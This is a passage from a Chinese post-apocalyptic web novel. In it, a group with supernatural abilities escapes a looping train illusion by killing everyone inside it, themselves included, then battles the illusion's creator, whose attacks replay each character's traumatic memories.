伏苓眼尾发红,语气坚定:“我说,杀了他们。”
她扫了一眼在车厢连接处探头探脑的人,重复:“所有人,全部杀了。”
程承上前一步,试图跟她谈谈:“伏苓,我能知道为什么吗?”
伏苓抬起下巴:“杀了他们,幻境才会破。”
幻境?
在场的人都不是什么傻子,顿时明白了她的意思。但明白归明白,他们又怎么能相信这么真实的场景会是幻境,又怎么敢相信自己死了之后还能活过来?
那四人逐步后退,声音颤抖:“你怎么证明这是幻境?”
27. 永不停靠的轮回05
伏苓笑了:“我为什么要跟你们证明?”
她脚尖一点,直接翻过了将她团团围住的人群。
软剑轻甩,一击将车厢前的玻璃门打碎,门后看热闹的众人顿时作鸟兽散。
伏苓站在车厢连接处,黑暗将她半个身子吞没。她转头,勾起一抹笑:“希望我回来的时候,你们已经死了。”
说完,她不再言语,直接追着那些逃走的人奔去。
银色能量枪的声音不绝于耳,听着就能想象到前方的凶残场面。
程承差不多想明白了大致情况。
他叹了口气:“好吧,”
不断后退的几人听到他说的话,顿时急了:“你还真准备杀我们?看你的样子是个正常人,不应该没脑子啊?你们还真相信那个疯子说的话?”
程承轻轻皱了皱眉,他没有回答。
红雾弥漫,他声音冷冽:“抱歉,我尽量轻一点。”
重点是轻不轻的问题吗?
那几人崩溃。
林随安思路同样清晰,虽然不太清楚伏苓是怎么得出幻境的结论的,但她忽地想到了集庆那个逃走的幻境制造者。
居然是上了高铁吗?
胆子可真够大的。
林随安冷笑一声
车厢里还有四个人,她觉得程承一个人就能对付了。
但为了不出意外,她只喊上了林随遇:“哥哥,我们去后面。”
林随遇点点头,对祝无忧比了个手势:“别划水哦。”
祝无忧白了他一眼,给程承甩出去两张牌。
两人没再逗留,径直朝着四号车厢奔去。
林随遇严肃道:“是那个逃走的人?”
林随安点点头:“我猜也是。”
“那他确实挺聪明的。估计军区也没想到这人居然在全城都在搜捕他的情况下踏上公家的高铁。”林随遇嘴角多了一分嘲弄,“只不过,这人确实胆子大。”
林随安抽出战备机点了两下,又摁灭了屏幕:“没信号。看来确实如伏苓所说。”
林随遇推开门,四号车厢里还有两人,再后面的车厢里噼里啪啦,战况似乎比这里还激烈。
那两人无处可逃,只好警惕地看着缓缓走进来的人。
站在前面的男人呼吸急促,质问道:“你们想干什么?!”
“不好意思啊兄弟,你浅死一下吧。”林随遇铺开光束,直击命门,“放心,我尽量轻点。”
他手起刀落,干脆利落地将这男人摁死。
同一瞬间,林随安蓦地出现在他们身后,锋利的匕首泛着森森寒光。
林随遇叹了口气:“第一次莫名其妙杀人,有点不习惯。”
“别贫了,往后走吧。”林随安甩干匕首上的血迹,声音淡淡。她的目光短暂地停留在擦干净的匕首,愣了几秒。
林随遇拍拍她的肩膀:“想啥呢?”
“没有。”林随安摇摇头,“只是觉得,我们可能也要做好准备了。”
“嗯?什么准备?”林随遇摸不着头脑。
两人去到下一个车箱的时候,里面已经一片狼藉。
伏苓正站在正中间,低着头,不知道在思索着什么。
林随安走过去,稍稍俯身去看她:“在想什么?”
伏苓抬头,对上了她的目光。
两人目光对撞,如同灵魂碰撞,林随安瞬间明白了什么。她抿了抿唇:“你怎么在这?刚刚不是往前面车厢去了吗?”
伏苓解释:“车厢是环着的,五号后面是一号。”
“我去,我们俩干两个的功夫你已经屠了三个车厢了?”林随遇一脸震惊。
短短几分钟内,她就已经将人屠了个遍了?
这才是真阎王吧?
林随遇咋舌。
幸好伏苓跟他们是一起的,要是真站在对立面了,他都不知道自己怎么死的。
伏苓的目光停在他们俩身上,没有说话。
林随安叹了口气:“我知道你想说什么。”
她笑了笑:“清除幻境所有人中的所有人,也包括我们吧。”
不是疑问,是陈述。
早在她理清思路的时候,林随安就想到了这一点。
伏苓扯了扯嘴角,没说话。
林随遇下意识一步上前挡在林随安面前:“那……没有别的办法了吗?”
伏苓还没回答,林随安就率先摇摇头:“都到这一步了。”
“好吧。”短暂的沉默后,林随遇靠在椅背上,漫不经心地思索着:“那我怎么死比较好呢?搞个快点的。”
林随安:“……”
伏苓:“……”
伏苓伸出手,能量枪放在她的掌心:“这个?”
“这是个好东西啊。”林随遇眼前一亮,摸了摸能量枪:“还是高科技,我们军区都没有呢。”
林随安无奈地瞥了他一眼,催促:“赶紧的,你对我开枪?”
林随遇愣了一下,把能量枪扔给林随安:“我不要。你想我死?”
他顿了顿,又把能量枪拿了回来:“算了,还是我先吧。”
林随安白了他一眼,握紧匕首:“我用自己的就好。”
伏苓沉默地看着她:“都行。”
短暂的寂静后,车厢内响起了血液溅出的声音。
像是沉重的石头砸在紧绷的神经上,伏苓闭了闭眼。
随即传来的是祝无忧的尖叫声。
尖锐的声音触发耳鸣,伏苓眼前黑了一瞬,又迅速清醒过来。
她大口呼吸了几下,眼中的血丝几乎布满整个瞳孔,脚下是蔓延的红。
伏苓缓缓俯身,从血泊里拿起能量枪。
她猛地看向祝无忧。
后者捂着嘴后退了两步,露出的眼睛里满是恐惧。
伏苓一不做二不休,直接将枪口最准她:“抱歉。”
“砰”。
枪声响起。
却被星牌拦下。
祝无忧跌倒在地上,她已经顾不上被血迹沾染的衣服,不住地后退:“伏、伏苓,你……”
她吓得说不出一句完整的话。
伏苓抬脚走了两步,看到了祝无忧身后站着的人。
程承呼吸微滞,对上了伏苓赤红的双眸。
但他没有露出恐惧的神色,只是稍稍愣了两秒,又恢复原样。
伏苓疑惑地歪了歪脑袋。
她微微侧头。
窗外漆黑一片,玻璃上溅了几片血迹,血色中倒映着她的身影。
癫狂,残暴,满是血迹。
这个模样的自己,是一个祝无忧都会忍不住害怕的怪物。
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怎么会有人还能保持冷静,甚至往前走了两步。
伏苓抬起手:“停。”
程承乖乖停下脚步。
他眉头紧蹙,眸子神色分辨不清。
眼前为什么会是这样的情况,其实不难猜。
程承几乎只在瞬秒之间,就意识到发生了什么。
祝无忧扯着他的裤脚,声音轻颤:“程程程承救命啊!”
程承低头笑了一下。
他替伏苓解释道:“清除幻境里所有人,肯定是包括我们的。”
“你想被她杀还是被我杀?”他非常善解人意,甚至给了祝无忧两个选择。
说完,他极轻地瞥了一眼伏苓。
后者的情绪稍稍稳定些许,至少不像方才他们刚进入时那样随时都会崩溃的状态了。
但很明显,她如今的状态依旧算不上好。
想想也正常,谁能在目睹伙伴的死亡后还能保持清醒的?
甚至她或许还想到了接下来该做的事情,比如杀了更亲近的自己和祝无忧。
程承代入了一下,顿时,酸涩痛苦的情绪溢满胸口。
他又看向伏苓,这一次的眸色中带上了浓烈的疼惜。
祝无忧还在状况外,哆嗦着:“一一一定要要要杀吗?”
程承顿了一下,笑得温柔:“或者你可以自杀。”
“那不行。”祝无忧脑子瞬间清醒,果断拒绝。
面对死亡,祝无忧下意识想要逃避,然而如今的情况是,她不得不做出选择。
自己动手这个选项需要太多太多的勇气,她深知自己根本无法支撑这样的举动,而让别人动手,却能减轻一些自己的心理负担。
只是,这对于伏苓和程承而言,同样是一个巨大的挑战。
祝无忧咬着唇。
第一次正视自己的胆小和卑劣。
她不愿意将负担压在两人身上,但自己动手对她而言太遥不可及了。她不得不自私一回,请求二人替她担下这些。
她看了看伏苓,又看了看程承。
程承倒是没觉得有什么。
他虽然和祝无忧相处不多,也知道她肯定对自己下不了手。
见她纠结,程承提示道:“我用红雾,她用枪。”
其实要说看上去哪个更吓人,那肯定是伏苓手里的能量枪。
毕竟这红雾看上去抓不住握不牢的,似乎没那么吓人。
但祝无忧知道,程承的红雾常常虐杀别人,很少一击毙命,虽说他肯定不会可以折磨自己,但必然是要承受一些痛苦的。
而伏苓的那把枪,如果直接射入的话,疼肯定是会疼的,过程或许会比程承动手时间要短一些。
她带着哭腔:“那还是伏苓吧。”
她颤颤巍巍地躲在角落,闭上眼捂住耳朵等待死亡的降临。
伏苓顿了一下,抬起枪口对准祝无忧。
她眼前略微模糊,一切物体都重叠在一起,顶部灯光刺眼。
“砰”。
猝不及防的一声。
震耳欲聋。
她有些无力地放下手。
脑中一片空白。
她用了这把能量枪八年,却从来没有像今天一样,耳朵被枪声震得生疼。
嗡鸣声不断,伏苓只感觉自己快疯了。
28. 永不停靠的轮回06
她想着。
结束吧。
快结束吧。
她快要撑不住了。
一双温热的手轻轻盖住她的耳朵,嗡鸣声戛然而止。
她抬头,撞入了程承的双眸。
他的眸子依旧如同一潭泉水,清澈幽静,内里蕴藏着无数她看不清的东西。
他启唇,温柔的声音压过刺耳的嗡鸣,透过干燥温热的掌心,传到她的耳中:“我在。”
像一剂强效的镇定剂,瞬间止住了针扎般的疼痛。
她望着程承,说不定心底是什么什么感受。
莫名的情绪涌上心头,如此陌生。
程承低眉,突然笑了起来:“还没被你杀过,感觉有点新奇。”
他总这样。
伏苓有些不明白。
总这样用一句话抚平自己满身的躁意。
她依旧注视着程承,最后还是他红着耳尖移开了目光。
他抿唇,语气轻柔:“要开始吗?”
是了。
她还要杀了程承。
烦躁再次涌上,还没等伏苓说什么,程承又突然道:“你能亲我一下吗?”
“什么?”涌上心头的奔腾血液顿了一瞬,伏苓歪了歪脑袋,似乎是没明白。
程承以为是自己捂着她的耳朵才导致伏苓没听清,他松开手,温热的指腹轻轻捏了捏伏苓的耳垂。
电流从他触碰的地方传至心脏,伏苓轻轻缩了缩脖子:“做什么?”
程承弯眼笑了笑,目光在指腹下的柔软上停了停:“就是在想,要是死之前能被你亲一口就好了。”
伏苓一脸疑惑:“为什么?你字母圈的?”
程承险些破功,他失笑:“说什么呢。”
列车动荡,窗外的景色似是被撕破,明明暗暗的灯光照在两人身上。
他握住她的手腕,将枪口对准自己的胸口:“吻我,然后再杀了我,可以吗?”
他不知道自己想干什么,只是觉得,心脏在疯狂叫嚣,渴望着伏苓的下一步动作。
思路头一次混沌不堪,他看不清自己这么做的动机,看不清自己想要什么。
一切都仅仅是凭借本能。
想靠近她的本能。
伏苓看着他的眼睛,突然勾唇笑了一下。
她踮起脚尖,轻轻,轻轻地,碰了碰程承的嘴角。
如蜻蜓点水,如初春里临安街道上纷纷扬扬的飞絮,轻飘飘地落在他的唇瓣。
痒痒的,带着直抵心脏的电流。
唇瓣相触的瞬间,两人的呼吸缠绕在一起,伴着周围刺鼻的血腥味。
有那么一瞬间,似乎一切都将沉醉。
伏苓声音轻轻:“我们现实见。”
”砰”。
……
“前方到站,彭城,列车停靠两分钟,请各位旅客注意时间。”
伏苓猛地睁开眼。
看着眼前别无二致的场景,她的呼吸一滞,而后粗重起来。
她还在幻境。
怎么回事?
不是已经全部清除了吗?
伏苓死死抓着扶手,脑子疯狂思考着自己遗漏的人。
不对……
不对。
不对!
车厢里的每一个人,每一个人她都杀了。
甚至那个乘务员她都没放过。
怎么可能?
到底是谁?
到底是谁被遗漏了!
突然,她的脸色骤然变差。
算起来,好像确实还有一个没死。
她起身,手腕被身侧都人抓住,程承声音懒散:“怎么了?”
伏苓正沉浸在自己的思考里,直接甩开他的手:“你只会这一句吗?”
程承懵了几瞬。
什么叫只会这一句?
他就说了一句啊。
就在程承百思不得其解的时候,伏苓已经直接跨过他,站在了过道中央。
她看着还在玻璃门上播放着的新闻联播,闷笑了起来。
笑声渐渐变得肆无忌惮,仿佛要把所有的束缚和压抑释放出来。
车厢里的人被吵醒,第一排的楼主露出一双惊疑不定的眼睛。
伏苓骤然止住笑容,裂开嘴:“我知道了,我知道了。”
她从后腰抽出能量枪,对准了自己的太阳穴。
最后那个漏网之鱼,不就是她自己吗?
她脸上却闪着疯狂:“傻逼。”
“等我出来干死你。”
她愉悦地勾起唇,声音带着调笑:“砰。”
“砰”。
在所有人或震惊,或惊慌的目光下,伏苓毫不犹豫直接扣动扳机。
她之前其实说错了。
被能量枪击中并不会在一瞬间死亡,也不会感受不到任何痛苦。
起码在她意识还没消散的那几秒钟被无限拉长,疼痛和骨头碎裂的声音从她脑中传来。
格外可怖。
她听到了程承的喊声,听到了祝无忧的哭声,还听到了林随安和林随遇的呼救声。
但她都不在乎。
因为她知道,这一次,赢的一定是她。
……
“乘客朋友们,车门即将关闭,请注意安全。下一站,荥城东站。”
伏苓睁开眼睛。
周围的一切都还是那个样子,但感觉却全然不同。
祝无忧突然一声尖叫,她猛地抓住伏苓的手臂:“伏苓!伏苓!”
伏苓拍拍她的手背以示安慰。
祝无忧死死抓着伏苓的手臂,确定她还活着才逐渐平静下来。
但很快,她似乎又想起了什么恐怖的事情,双手捂住自己的脖颈大口呼吸,眼泪夺眶而出。
伏苓了然。
恐怕那几次轮回,他们只有在现实中才能全部回忆起来。
一旁的程承也睁开眼睛,下意识抓住了伏苓的另一只手。
伏苓转头,对上了他的目光。
程承罕见地一脸惊慌,看着伏苓安然无恙后,他的心脏才开始猛烈跳动起来。
伏苓起身,刚巧另一边的林家兄妹也醒了过来,看到她下意识站起来想拦住她接下来的动作。
林随安语速极快:“伏苓,你别……”
伏苓摆摆手打断她:“这里不是幻境,我不会乱来。”
林随遇吞了吞口水:“就算是幻境,你也不能就那么,那么……”
他“那么”了半天也不知道接下去怎么说,还是林随安帮他继续道:“所以破解幻境的办法是自杀?”
伏苓点点头,她看向玻璃门上方的新闻联播。
此时的播音员是一位长相端庄的女子,与方才在幻境里的完全不一样。
伏苓勾了勾唇,抬脚向五号车厢走去:“走,我们去抓罪魁祸首。”
“罪魁祸首?”程承站起来,思索了一番便明白了:
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“你第一次杀的那个?”
他意识回到现实后,之前轮回的所有记忆都在一瞬间涌来。
虽然杂乱,但他很快从中理出线索,锁定了那个人。
只是除了这所谓的幻境制造者之外,更让他魂牵梦萦的是那个轻飘飘的吻。
甜腻又窒息。
他看着伏苓裸露在外的后脖颈,飞速移开目光。
楼主小心翼翼地靠近了两步,伏苓看了他一眼,脚步不停:“幻境破解是自杀,害怕的别来。”
她其实是善意提醒。
那幻境制造者说不准会又做出什么动静来,他们在一个幻境里还能相互协作,要是一人一个幻境,那除了自己动手别无他法。
熟悉伏苓的几人没多想,倒是楼主立马跳了起来,以为她在挑衅。
他磨磨牙,亦步亦趋地跟在伏苓小团体的后方,小声念叨着:“什么意思什么意思?瞧不起人啊?我虽然不能把前瞻集团摁死我也能跟着吧?我连跟着都不可以吗?”
前面车厢也赶来了不少人,楼主瞥了他们一眼,特意说了一句:“进幻境要自杀啊,害怕的别去。”
语气非常之阴阳怪气。
这能忍?
于是伏苓只是走到五号车厢的功夫,身后就跟着一堆人。
伏苓奇妙地朝自己身后看了一眼,没说话。
原来大家现在都这么勇敢了吗?
程承大概意识到了这些人在想什么。
他笑着摇摇头,也没做提醒。
五号车厢内。
幻境到底是一个人的异能,就这么被伏苓破了,制造者也会深受重创。
单独坐在前排的男子满脸痛苦地倒在地上,其他人都退后至了后排,满脸警惕地看着他。
秦磊的异能是制造幻境。
就不说他靠着吸收感染者体内物质使异能变强后创造的幻境,就是最开始创造的那些较弱的幻境,都没有一个人能打破。
因为就算有人意识到,自杀才是破开幻境的法子,也没多少人敢真的对自己下手。
他们也不知道杀死自己后轮回会不会停止,也不知道自己会不会就这么死在幻境里。
甚至,他还为自己如今的幻境上了一层双保险。
——设定了时间限制。
身处幻境的人光是意识到这是幻境就要花费好一番功夫,更别说他们还要犹豫到底要不要自杀。
所以,他几乎百战百胜。
秦磊死死咬住嘴唇。
但今天,他引以为傲的幻境被一个无能力者打破了!
像伏苓这样,一意识到问题的根源,就直接自杀的人实在是太少了。
不,应该说是,绝无仅有。
秦磊喷出一口血,眼里满是恨意。
他想不明白,第一次轮回中那个勾起伏苓兴趣的“伏苓”到底是谁?
伏苓又是怎么会看到环绕的车厢?
这本是不应该的。
他制造的幻境与现实几乎一致,而伏苓只是一个无能力者,怎么可能透过幻境的表象看到漏洞?
所谓漏洞,其实就是首尾相连的车箱。
按照秦磊的规划,这种走两步就能察觉到不对的情况是不可能被他漏掉的。
而伏苓却意外地发现了这一点。
幻境构造“现实”的能力在伏苓的快速移动中逐渐失调,意外地将处于上一个瞬间的“伏苓”与这个瞬间的伏苓同时身处此地。
29. 永不停靠的轮回07
不过,那时的秦磊并未多心。
环绕的车箱注定了两个“伏苓”不会相遇。
只是没想到,伏苓的追击速度远超秦磊的想象。
她居然突破了时间的隔阂,击中了属于上一个瞬间的自己!
只可惜秦磊也没办法再不可置信下去了。
因为他看到了从前方车厢走过来的浩浩荡荡人群。
为首的正是伏苓。
此时,她正抱着臂,眼神嘲弄:“怎么不继续躲新闻联播里了?”
秦磊没说话,只是狠狠地盯着她,眼里满是不甘和愤怒。
伏苓触及他的目光,冷嗤一声,张嘴无声骂道:“傻逼。”
她掏出能量枪,毫不犹豫直接一击射出,却没想秦磊突然出声:“起。”
下一秒,伏苓只觉得脑袋一阵嗡鸣。
这是要进入幻境了!
趁着自己还没失去意识,她开口大声提醒:“破开幻境的法子是自杀。”
话音未落,她便身处于寂静的车厢中,整个列车只有她一个人。
伏苓左右看了看,讥笑着摇了摇头。
又是这里吗?
一点新意都没有。
她毫不犹豫,直接将枪口对准太阳穴。
“砰”的一声。
她又回到了秦磊面前。
如果此时有一个没有进入幻境的人在场,就会看到,伏苓在秦磊开口的下一瞬如同失去意识了一般向后倒去。
但只是几个呼吸间,她就猛地睁开眼睛,身形在半空翻转,再次将攻击对准了秦磊。
秦磊狼狈躲开。
伏苓站定,快速扫视一圈。
除了她和秦磊,其他人都稀稀拉拉倒了一地。
她皱了皱眉。
还是群攻吗?
只要听到他声音的都会陷入幻境?
秦磊站起身来,瞪大眼睛,喃喃:“不可能,不可能!”
不可能有人会这么果断地杀死自己。
就算知道是幻境,就算知道自己死了后就能回到现实,也不可能在几个呼吸间下死手。
除非……除非她就不是个正常人。
秦磊看向伏苓的目光满是惊恐:“疯子,你就是个疯子。”
闻言,伏苓却好似很愉悦,噙着笑道:“是啊,我就是来取你狗命的疯子。”
说完,她脚尖一点,猛地向秦磊袭去。
方才进入幻境之前,众人射出的攻击在意识消散时化为乌有,伏苓很快意识到,远程攻击恐怕没什么用,要想彻底控制他,必须拳拳到肉。
伏苓速度已是极快,但秦磊只需要动动嘴,他惊慌后退:“起,起,起!”
伏苓一次次地闭眼,又很快脱离,速度快得令人咋舌。
但秦磊也注意到了她愈加赤红的双眸。
他顿时松了口气。
自己的幻境对她的影响看上去也不小嘛。
秦磊不禁笑了一声:“你觉得你还能撑多久呢?”
他对上伏苓的双眸,启唇:“起。”
……
眼前是一个比较温馨的房间,干净明亮。
柔软的地毯铺在地板上,赤脚踩上去带来温暖的触感。
床上摆着一堆漂亮洋娃娃,被子叠得整整齐齐。墙壁上挂满了她和父母的照片。
伏苓一时间有些晃神。
这是她曾经的家。
她抿唇,低头看去。
自己身上不再是那套劲装,而是有些性感的露脐上衣,下半身套着正红色的工装裤。
这副装扮她已经很长时间没看过了。
末世雨水很多,稍有不慎就会溅到皮肤上,所以正常人都会用劲装将自己包裹得严严实实的。
伏苓抬脚,推开了房间的门。
沈文乔系着围裙,正将一盘抄得色香味俱全的宫保鸡丁端上桌子,听到开门的声音笑着转头:“小苓,来吃饭啦。”
伏苓看着她没说话。
伏怀从客厅里走过来,笑着抱住沈文乔:“辛苦了。”
似乎是两人经常这样恩爱,沈文乔也没觉得有什么不对,笑着聊了两句。
伏怀将椅子拉开,让沈文乔坐下,又看向伏苓:“怎么了,闺女?坐呀。”
窗外的阳光暖洋洋地照进来,洒下一片金黄。
刺目、耀眼,且不真实。
伏苓笑了一声:“你们什么时候同时在家过?”
沈文乔和伏怀的脸色突然一僵。
沈文乔连忙起身拉住伏苓的手,神色愧疚:“抱歉啊,小苓,是妈妈工作太忙了。”
伏苓抬眼,对上了她关切又抱歉的眼神。
她冷漠地将自己的手从沈文乔手中抽出。
下一瞬,能量枪抵在太阳穴:“假的。”
“砰”。
……
红雾弥漫,挡在伏苓身前,接下了秦磊的袭击。
眼见没成功,秦磊忿忿拉开距离,躲开了程承的攻击。
程承扶住伏苓,声音轻柔:“你还好吗?”
伏苓扶住他的手臂,沉默了两秒。
她双目通红地看向秦磊:“你知道为什么你的幻境对我没用吗?”
秦磊动作顿住了,目光直直看着伏苓,眼神中满是求知欲。
说啊,快说啊,急死我了。
方才他给伏苓量身定做的幻境分明是她脑中出现最多的画面,怎么可能被瞬间识破?
伏苓笑得有些瘆人,眼里满是狠辣:“因为那都是我的幻想,是我因为父母长期缺失我的生活,而自己安慰自己的幻想。”
她很愤怒。
是被戳穿幻想后的愤怒。
她软剑甩出,猛地袭向秦磊,尖锐的刀尖划破他的胸口,鲜血横流。
秦磊有些狼狈地躲开,却不想伏苓的动作越来越快,连带着程承满天弥漫的红雾攻击,让他几乎避无可避。
两人身后的人也接连转醒,祝无忧捂着脖子,大口大口地喘息,眼泪一颗一颗砸在地上。
就连林随安和林随遇的神色都不是很好,但即便如此,他们仨人看到前方的对战,也还是下意识加入战场。
祝无忧腿还软着,抽了七八张牌扔过去,星牌生效,秦磊被击中的次数更多了。
他一边无能狂怒,一边慌乱避开四溢的光柱和神出鬼没的林随安。
这几个人实在是太难缠了。
秦磊崩溃出声:“起!”
……
“伏苓,你已经不小了,撒娇是没有用的。”
男人的声音响起,伏苓愣了两秒。
伏怀神色严肃,看向伏苓的目光没有半点怜惜:“快拿起剑,继续练。”
伏苓唇瓣颤抖,手死死攥着在未来她无比熟悉的剑柄。
她有太多太多问题想问眼前熟悉又陌生的人了。
你们知道什么?
你们做了什么?
为什么提前让我拥有保护自己的能力?
妈妈为什么从来没有回来过?
她在做什么?<
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p>你们在做什么?
你们到底在做什么?!
这一切……都是你们造成的吗?
伏苓死死咬着牙。却还是只问了一句:“……为什么要练剑?”
短暂的沉默过后,伏怀出声:“为了让你能活下去。你太小了,很多事情你都不会明白的。你只需要知道,爸爸妈妈不会害你。”
“伏苓,站起来!”
……
天空阴沉沉的,血红色的光代替了夕阳,程承下意识迈了一步,踩到了一摊粘腻。
他愣愣地往下看去。
是血。
他有些僵硬地抬起头,再次看到了那张让他恨之入骨的脸。
王瞻脚踩着程商的手,重压之下,手骨断裂的声音清晰入耳。
程承死死盯着趴在地上的人,声音喃喃:“……哥。”
因为疼痛,程商死死咬着牙,被利器捅穿的胸口微弱起伏,鲜血横流。
身后,是家人的尸体。
一向干净整洁的屋子在此时布满血迹。
被压在血泊里的人抬起头,对上了程承的双眸:“程承……快走!”
他用尽力气,喊出了最后一句话。
王瞻笑得嘲讽,直接一击将他脑骨震碎:“喊什么?你弟弟也跑不了。”
……
“九万。”
“碰。”祝无忧扔了块牌,笑眯眯地伸出手:“给钱给钱。”
“哎呀,不玩了不玩了,老是你赢。”桌上其他三人纷纷摆手。
祝无忧瞪大眼睛:“输了就不玩了?你们什么牌品嘛。”
她鼓了鼓脸,又道:“要不我们打牌?斗地主炸金花掼蛋,我都行!”
“我们玩简单点的,真心话大冒险怎么样?”早就知道祝无忧牌技的几个女生连忙转移话题。
再跟她打下去她们就得打破产了。
祝无忧也不生气,只要有人跟她玩,玩什么无所谓:“行啊。”
那些小女生又开始兴致勃勃地洗牌。
祝无忧突然一愣,意识到这是幻境。
不是,这幻境是来诱惑我的?
她还没开始控诉秦磊对她的不尊重,下一瞬,身处的场景就变了个模样。
祝无忧抖了两下,哭丧着脸:“要不还是打牌吧。”
“忧忧,收拾一下准备进学校咯。”
“……”祝无忧更丧了:“我能不去吗?”
末世八年了,她都快忘记这个曾经的噩梦了。
祝母笑着点了点祝无忧的额头:“小小年纪怎么能不上学?”
见祝无忧还是皱着一张小脸,祝父笑了笑,将车速减慢了些:“或者我们给忧忧请个假,咱们去打牌啊?”
他们俩向来提倡快乐学习,比起天天苦着脸去上学,他们更愿意找点时间给祝无忧请假出去走一走,做她喜欢的事情。
打牌也没什么不好,只是一种娱乐方式。
祝母其实也是这个想法,但还是瞪了他一眼:“她这么小就天天想着打牌都是你惯的。”
祝父也不恼,笑着反驳:“你不是也天天上牌桌?”
夫妻俩做着小本生意,赚来的钱足够养活一大家子。
于是在工作之余,他们会去牌桌上搓两局。
时间长了,祝无忧也学会了些,牌技甚至隐隐超过父母。
祝父抬眼看了看天:“今天要下雨啊,忧忧把伞带着吧。”
祝无忧猛地一僵,她知道这是哪一天了。
——雨灾降临。
30. 永不停靠的轮回08
祝无忧吞了吞口水,指尖有些不自觉地颤抖:“爸,妈,伞还是你们带着吧,这雨看上去还要一会才能下下来。”
他们车上习惯性地只备了一把伞,当年她就是将伞带走了,才害得父母顶着雨回去。
祝无忧呼吸有些急促,再怎么说,她也不愿意父母再一次因为自己变成感染者。
祝母笑得温柔:“我们忧忧也知道关心父母了呀。”
祝父也是一脸笑意:“那也不看看是谁的女儿,不过忧忧啊,这伞还是你带着,我们俩开着车也不用伞啊。”
祝无忧沉默了片刻,虽然知道这是幻境,但她还是想挽救一下:“你们打牌也需要伞啊。”
祝父笑得爽朗:“说什么呢,一点路,我跟你妈跑过去就好了,这伞啊,还是你带着吧。”
……
硕大的水珠陡然砸在林随安的防护服上,让她整个一激灵。
她有些愣神地看着眼前的场景。
明明是午时,天色却被乌云雨水染得昏暗。
泥泞的街道上空无一人,偶尔会传来感染者的嘶吼声。
雨水漫过了脚踝。
有人拍了拍她的肩膀,林随安乍然回头,透过防护罩对上了队友关切的目光。
队友声音轻轻,带着安慰的意味:“没事,张队肯定会没事的。”
林随安愣了愣,露出了一个比哭还难看的笑容。
她知道这是哪了。
林随安和林随遇自懂事起就再没见过父母,有好心人看他们两个孩子流落街头,甚是不忍,便将他们俩送进了孤儿院。
虽然生活依旧贫苦,但好歹有了个吃饭睡觉的地方,加上林随遇一直护着她,林随安也没受什么委屈。
也不知道是基因使然,还是两人蹉跎岁月时无意间加强了他们的身体素质,张队来到孤儿院的时候,一眼就看中了两人。
带入军区后,两人都知道这样的生活来之不易,训练也丝毫不敢懈怠。
短短几年,便已经是军区内稍有声名的人,甚至还有传言道他们两中总会出一个下任队长。
但林随安其实不想参与这件事情的讨论,对她而言,继任队长代表着上任队长的牺牲。
她对张队总是怀着感恩之情,不管发生什么事情,林随安都不愿意张队出事。
但眼下这样的情况,似乎她再怎么不愿意这件事情也还是发生了。
雨灾,是天灾。
她控制不了,张队亦然。
在这种突发情况下,军区必须第一时间救援百姓,但代价也是异常惨重的。
林随安看着眼前朝他们扑过来的感染者,那人的面容俨然就是张队的样貌。
她闭了闭眼。
张队一生待人和善,对军区、百姓都是能帮就帮,有时就算自己过得苦一点,他也不愿意让身边的人难挨。
大家都很尊敬他。
而此时,这般慈悲心肠的英雄却被雨水染湿了神智,像一只毫无知觉的恶兽一般向他们扑来。
实在可悲。
林随安不愿意张队变成这样。
她想,张队也一定不愿意伤害他保护了一辈子的队友。
在一片悲痛呼喊“队长”的声音中,林随安做出了和七年前别无二致的选择。
她抬起手中的枪,对准的张队的眉心。
“砰”。
对于日日跟枪打交道的人来说,枪声太熟悉了,但林随安却觉得这次的枪声格外震耳欲聋。
街道安静了,只剩下雨滴砸落地面的声音。
林随安无力地垂下手。
……
街道上一片安静,只有淅淅沥沥的雨水砸在地上,水珠溅开。
若是寻常,躲在家中看这雨景其实是个不错的选择。
这不过按照如今的情况,就算躲在安全屋内,听到雨声也还是会让人恐惧。
林随遇淌着雨水走上前。
队员看到他纷纷让开,露出了那具已经了无生机的尸体和站在尸体面前一动不动的背影。
只一眼,林随遇便知道发生了什么。
他深吸一口气。
他是副队,在这种情况下,是最能发号施令稳住人心的人,他不能乱。
雨水倾盆而下,即使林随遇穿着防护服,也被砸得有些疼。
雨灾开始才短短数日,他不知道这身防护服到底能撑多久,但也明白他们不能在这里久待。
他听见自己冷静的声音:“先回去。”
队员们左看看右看看,还是有人小心地问道:“那张队怎怎么办?”
林随遇垂下眸子。
若不是情况紧急,他也想将张队的尸身带回去,但如今要命的雨越下越大,在外面多待一分钟,就会多一分死亡的危险。
他可以将自己置身事外,但不能不管队里的人。
做出利于大局但违背内心的选择很难,林随遇却还是做到了:“先回去,张队我来想办法。”
林随安缓缓转过身,声音轻轻:“抱歉。”
透过雨帘,看到她几近麻木的眸子,林随遇胸口猛地一疼,让他差点弯下了腰。
他扯了扯唇角:“不是你的错。如果我在场,我也会做出跟你一样的选择。”
其他队员也纷纷道:“是啊。随安,这事不是你能控制的。”
“别自责了,不是你的错。”
林随遇抬起手,安慰的声音顿时消了下去。
雨水越来越大了。
他的防护罩被打湿,让他有些看不清林随安的神情,但他对自己的妹妹太熟悉了。
若是责备还好,安慰只会让她心中的内疚更甚。
但此刻不是聊天的时候,天边闪过遮天的雷电,铺天盖地,异常可怖。
雨水已经漫过了膝盖,再待下去,会有危险!
林随遇当机立断:“走!”
他一把拉住林随安的手腕,声音冷冽:“放心,我会把他带回去。”
距离拉近,林随遇看到了隐藏在防护罩之下林随安的泪水。
这场大雨下了很长时间,江水倒灌,让街道上如同河底一般。
林随安险些摔倒,林随遇眼疾手快,将她扶稳。
他动了动脖子,只觉得那里一片冰凉。
可能是雨太大了。
林随遇想。
等到了军区,他们才意识到到底是怎么回事。
雨灾来临没多少天,军区对着场连绵不绝的雨水了解不多,紧赶慢赶也只赶制出了这套粗制的防护服。
能不能挡住雨水,能挡住多长时间的雨水,他们其实都没有准确的数据。
军医如临大敌一般用仪器扫着林随遇的后脖颈,语气严肃:“你被雨淋到了。”
医务室内一片死寂。
被雨淋到了代表着什么不言而喻。
林随安死死咬着唇,尽可能地控制住自己的情绪:“
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那有什么药能控制一下吗?”
军医叹了口气:“我也想有。”
那就是没有。
林随安眼泪“唰”得一下掉下来了。她唇瓣颤抖,张张合合好几次也没说出什么。
林随遇却依旧是那副没什么所谓的模样。
他不怕死,只怕自己没能完成方才对林随安的承诺。
趁着自己还没失去意识,林随遇站起身穿上外套:“事已至此,我先去把张队带回来。”
林随安挡在他面前,忍住眼泪:“我跟你一起。”
林随遇揉了揉她的脑袋,态度坚决:“不行。”
“我是快变成感染者了,所以没什么可顾及的,”他顿了顿,眼里没了寻常的调笑和不正经:“但你不一样,你可以代替我活下去。”
